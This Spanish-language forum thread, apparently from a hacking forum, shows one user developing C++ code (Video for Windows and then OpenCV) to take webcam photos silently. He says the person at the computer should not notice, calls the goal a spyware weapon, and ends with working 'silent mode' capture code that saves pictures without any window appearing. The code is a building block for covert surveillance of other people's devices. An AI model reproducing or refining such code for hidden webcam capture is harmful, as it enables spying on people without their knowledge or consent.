Autor
|
Tema: Ayuda haciendo foto cpp (Leído 2,638 veces)
|
Kaxperday
Desconectado
Mensajes: 702
The man in the Middle
|
Vaya hola de nuevo, pensaba que la función que hice que se encargaba de hacer una foto por la webcam no me funciona, pues la programé pero no la probé, tengo esto: void photo() { HWND captura; captura = GetForegroundWindow(); for (int i = 0; i<5; i++) { capGrabFrame(captura); Sleep(50); } capFileSaveDIB(captura, "prueba.bmp"); capPreview(captura, FALSE); DestroyWindow(captura); captura = NULL; }
Me compila pero no me aparece el archivo prueba.bmp en el proyecto, ¿qué puede fallar? Me he guiado a partir de este tema: http://foro.elhacker.net/programacion_cc/capturar_webcam_devc-t171392.0.htmlEdito: Vaya he probado otros códigos como por ejemplo este que si me compila en codeblocks pero no en MVS13 porque no se como linkar la libreria libvfw32.a lo que da lugar a errores. Otro código: void photo() { HWND hwndMain; // main window handle HWND hwndVideo; // video capture window char szDeviceName[80]; // driver name char szDeviceVersion[80]; // driver version char item[161]; // concatinated string int i; // counter //----------------------------------------------------------------------------- //-----------------Para Obtener el HWND de la consola , sacado de msdn------ #define MY_BUFSIZE 1024 // char pszNewWindowTitle[MY_BUFSIZE]; char pszOldWindowTitle[MY_BUFSIZE]; GetConsoleTitle(pszOldWindowTitle, MY_BUFSIZE); cout << pszOldWindowTitle << endl; SetConsoleTitle("deraradfsfsa"); Sleep(40); hwndMain = FindWindow(NULL, "deraradfsfsa"); SetConsoleTitle(pszOldWindowTitle); //----------------------------------------------------------------------------- //----------------------------------------------------------------------------- //----------------------------Mostrar Drivers--------------------------------- for (i = 0; i<10; i++) { if (capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName), szDeviceVersion, sizeof(szDeviceVersion))) { strcpy_s(item, szDeviceName); strcat_s(item, " "); strcat_s(item, szDeviceVersion); cout << item << endl; } } //------------------------Proceso de captura---------------------------------- hwndVideo = capCreateCaptureWindow("My Capture Window", WS_VISIBLE, 0, 0, 640, 480, hwndMain, 0); capDriverConnect(hwndVideo, 0); capPreviewRate(hwndVideo, 66); capPreview(hwndVideo, true); capDlgVideoSource(hwndVideo); /*for(int i=0;i<25;i++) { capGrabFrame(hwndVideo); }*/ capFileSaveDIB(hwndVideo, "C:\\Users\\Usuario\\Desktop\\captura.bmp"); capPreview(hwndVideo, FALSE); DestroyWindow(hwndVideo); hwndVideo = NULL; system("Pause"); }
En propiedades proyecto/vinculador/entrada puedo añadir librerias .lib, las .a no las reconoce, en el codeblocks si que se podían incluir, pero en este he buscado y no se como, estaría bien que me dijerais si sabéis. Al compilar da errores y pone: Error 3 error LNK2019: símbolo externo _capCreateCaptureWindowA@32 sin resolver al que se hace referencia en la función "void __cdecl photo(void)" (?photo@@YAXXZ) Error 4 error LNK2019: símbolo externo _capGetDriverDescriptionA@20 sin resolver al que se hace referencia en la función "void __cdecl photo(void)" (?photo@@YAXXZ) Ya digo creo que son porque no tengo la librería libvfw32.a, de todas formas la cabecera que tengo tiene: #include <windows.h> #include <iostream> #include <cstdio> #include <fstream> #include <cstring> #include <vfw.h> #define MY_BUFSIZE 1024 using namespace std; void photo();
El programa da errores, en este code y en el otro si me compila pero no funciona xP Saludos
|
|
« Última modificación: 9 Octubre 2014, 11:04 am por Kaxperday »
|
En línea
|
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
|
|
|
|
Kaxperday
Desconectado
Mensajes: 702
The man in the Middle
|
Ya veo de eso me estaba dando cuenta ahora, al intentar linkar una librería y al abrirla vi que las ".a" que serán para el codeblocks no las reconocía luego linkare la que me pone en el link, ) Edito: Vaya vaya funcionó ahora probaré a quitar el posit que tapa la webcam y trataré de modificar el codigo para que no muestre os drivers ni habra ventanas. Vaya pensé que funcionaría me sale la foto toda de negro, el código es el siguiente: void photo() { #define MY_BUFSIZE 1024 HWND hwndMain; HWND hwndVideo; char szDeviceName[80]; char szDeviceVersion[80]; char item[161]; int i; char pszOldWindowTitle[MY_BUFSIZE]; GetConsoleTitle(pszOldWindowTitle, MY_BUFSIZE); SetConsoleTitle("deraradfsfsa"); Sleep(40); hwndMain = FindWindow(NULL, "deraradfsfsa"); SetConsoleTitle(pszOldWindowTitle); hwndVideo = capCreateCaptureWindow("My Capture Window", NULL, 0, 0, 640, 480, hwndMain, 0); capDlgVideoSource(hwndVideo); for(int i=0;i<25;i++) { capGrabFrame(hwndVideo); } capFileSaveDIB(hwndVideo, "C:\\Users\\Usuario\\Desktop\\captura.bmp"); capPreview(hwndVideo, FALSE); DestroyWindow(hwndVideo); hwndVideo = NULL; }
Conseguí quitar las ventanas (aunque en las ventanas elegía el programa para hacer la foto (ciberlink y otro más había) pero antes aun eligiendo programa el programa se bloqueaba, no sé. ¿Es que tengo que elegir un programa externo para que haga la foto? xD y de ser así no puedo coger el de por defecto en vez de tener que clickar uno? xp El archivo se crea bien, pero pero es todo de negro, la cámara no enciende la lucecita, no debe de trabajar esto. Saludos
Venga animo, seguro sabéis algo que lo necesito cuanto antes xP, luego subiré más códigos he ire probando yo solo quiero qur haga una foto y cuando el programa reciba una orden el usuario no se debería de dar cuenta vale si sale una luz en la wrbcam pero de lo demas no se debe de enterar ¿qué le falla a mi último code? Edito: Por lo visto hay que elegir un driver como hp services o ciberlink en mi caso, aun asi no me rula , y se te abre la ventana para elegir driver no puedes cogerlo tu por defecto luego no es muy eficaz arma de spyware xd Saludos
|
|
« Última modificación: 11 Octubre 2014, 13:08 pm por Eternal Idol »
|
En línea
|
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
|
|
|
Kaxperday
Desconectado
Mensajes: 702
The man in the Middle
|
Hola a todos, he estado haciendo progresos, ya he conseguido hacer una foto formato bmp, el problema es que me pide elegir un programa para hacer las fotos a través de esta función: capDriverConnect(), yo lo que quiero es elegir el programa automaticamente, o buscar otro driver de otra manera. void photo2() { int driver=0; HWND hwndMain; HWND hwndVideo; char szDeviceName[80]; char szDeviceVersion[80]; char item[161]; int i; char pszOldWindowTitle[MY_BUFSIZE]; GetConsoleTitle(pszOldWindowTitle, MY_BUFSIZE); SetConsoleTitle("deraradfsfsa"); Sleep(40); hwndMain = FindWindow(NULL, "deraradfsfsa"); SetConsoleTitle(pszOldWindowTitle); hwndVideo = capCreateCaptureWindow("My Capture Window", NULL, 0, 0, 640, 480, hwndMain, 0); capDriverConnect(hwndVideo, 0);//Te abre ventana para elegir driver (quiero que no salga que lo haga automatico capPreviewRate(hwndVideo, 100); capPreviewScale(hwndVideo, false); capPreview(hwndVideo, true); capDlgVideoSource(hwndVideo); for (int i = 0; i<25; i++)//Aclara un poco la foto. { capGrabFrame(hwndVideo); } capFileSaveDIB(hwndVideo, "C:\\Users\\Usuario\\Desktop\\captura.bmp"); capPreview(hwndVideo, FALSE); DestroyWindow(hwndVideo); hwndVideo = NULL; }
La foto la hace pero al hacerla sale una ventana que me pide elegir un programa externo para hacer la imagen, puedo evitar eso? Estoy probando también con esto para capturar el driver: /*capDriverConnect(hwndVideo, 0); WM_CAP_DRIVER_CONNECT wParam = (WPARAM)(iIndex); lParam = 0D;*/ while (!SendMessage(hwndVideo, WM_CAP_DRIVER_CONNECT, driver,0)) { driver++; if (driver>9) { DestroyWindow(hwndVideo); printf("fallo al intentar conectar"); break; } }
Funciones: http://msdn.microsoft.com/en-us/library/windows/desktop/ms644950(v=vs.85).aspxhttp://msdn.microsoft.com/en-us/library/windows/desktop/dd743891(v=vs.85).aspxhttp://msdn.microsoft.com/en-us/library/windows/desktop/dd756885(v=vs.85).aspxPero aun asi sale la ventana x[] Saludos.
|
|
« Última modificación: 11 Octubre 2014, 13:20 pm por Kaxperday »
|
En línea
|
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
|
|
|
Kaxperday
Desconectado
Mensajes: 702
The man in the Middle
|
Hola a todos gente, a pesar de que no tuve mucha información no me rendí y conseguí hacerlo funcionar sin necesidad de que salga ventana, es decir en modo silencioso Aquí el código: void photo()//Hace 2 fotos ojo para 2 driver cuidado si tiene menos o mas. (poner para 0). o comprobar { int driver = 0; do { CvCapture* capture = cvCaptureFromCAM(driver); if (!capture) { break; } IplImage* frame = cvQueryFrame(capture); if (!frame) { continue; } if (driver == 0) { cvSaveImage("pic0.jpg", frame); cvReleaseCapture(&capture); } else { cvSaveImage("pic1.jpg", frame); cvReleaseCapture(&capture); } driver++; } while (driver < 3); }
Lo que pasa es que en cvCaptureFromCAM(driver), si driver es "0" me pilla la ciberlink y me manda una foto falsa de una imagen de una webcam, no de la imagen que saca la webcam, sin embargo si meto un "1" me pilla el driver de HP services y ahí si que me saca la foto, pero claro esto para mi ordenador, si yo quiero usar otro ordenador y asegurarme de que no me salgan fotos fake como la de ciberlink que código debería usar? Aquí lo que hice fue que saque 2 fotos para los 2 primeros driver, pero claro yo quiero solo una y quiero asegurarme de que no sea una foto fake, sabéis algo? Edito: Bueno os dejo el método automatizado que acabo de hacer: int photo()//Hace 2 fotos ojo para 2 driver cuidado si tiene menos o mas. (poner para 0). o comprobar { int driver = 0; char nombre[20],numero[10]; do { CvCapture* capture = cvCaptureFromCAM(driver); if (!capture) { break; } IplImage* frame = cvQueryFrame(capture); if (!frame) { continue; } free(nombre); itoa(driver, numero, 10); strcpy(nombre, "pic"); strcat(nombre, numero); strcat(nombre, ".jpg"); cvSaveImage(nombre, frame); cvReleaseCapture(&capture); driver++; } while (driver < 3); return driver; }
Vaya para el video ocurre exactamente lo mismo, ademas no graba audio, tengo trabajo aun xd Saludos. (uso open cv xD)
|
|
« Última modificación: 12 Octubre 2014, 13:09 pm por Kaxperday »
|
En línea
|
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Ayuda con una parte del KeyLogger que estoy haciendo
Programación Visual Basic
|
Shrick
|
5
|
2,197
|
1 Enero 2007, 20:30 pm
por Shrick
|
|
|
Ayuda, FOTO
Diseño Gráfico
|
Comunidad Blade
|
2
|
3,288
|
15 Diciembre 2009, 14:03 pm
por Comunidad Blade
|
|
|
ayuda estoy haciendo un encriptador
« 1 2 »
Programación Visual Basic
|
Arconte
|
10
|
6,856
|
11 Julio 2012, 09:26 am
por Yoghurt
|
|
|
Ayuda con desencriptación haciendo Server Privado :P
Scripting
|
Frankosaurus
|
0
|
1,641
|
8 Julio 2012, 19:16 pm
por Frankosaurus
|
|
|
Hacer zoom en foto y que se vea mas agrandada esa parte de la foto solo
Diseño Gráfico
|
Anonymous250
|
3
|
5,326
|
9 Agosto 2012, 17:54 pm
por Azielito
|
|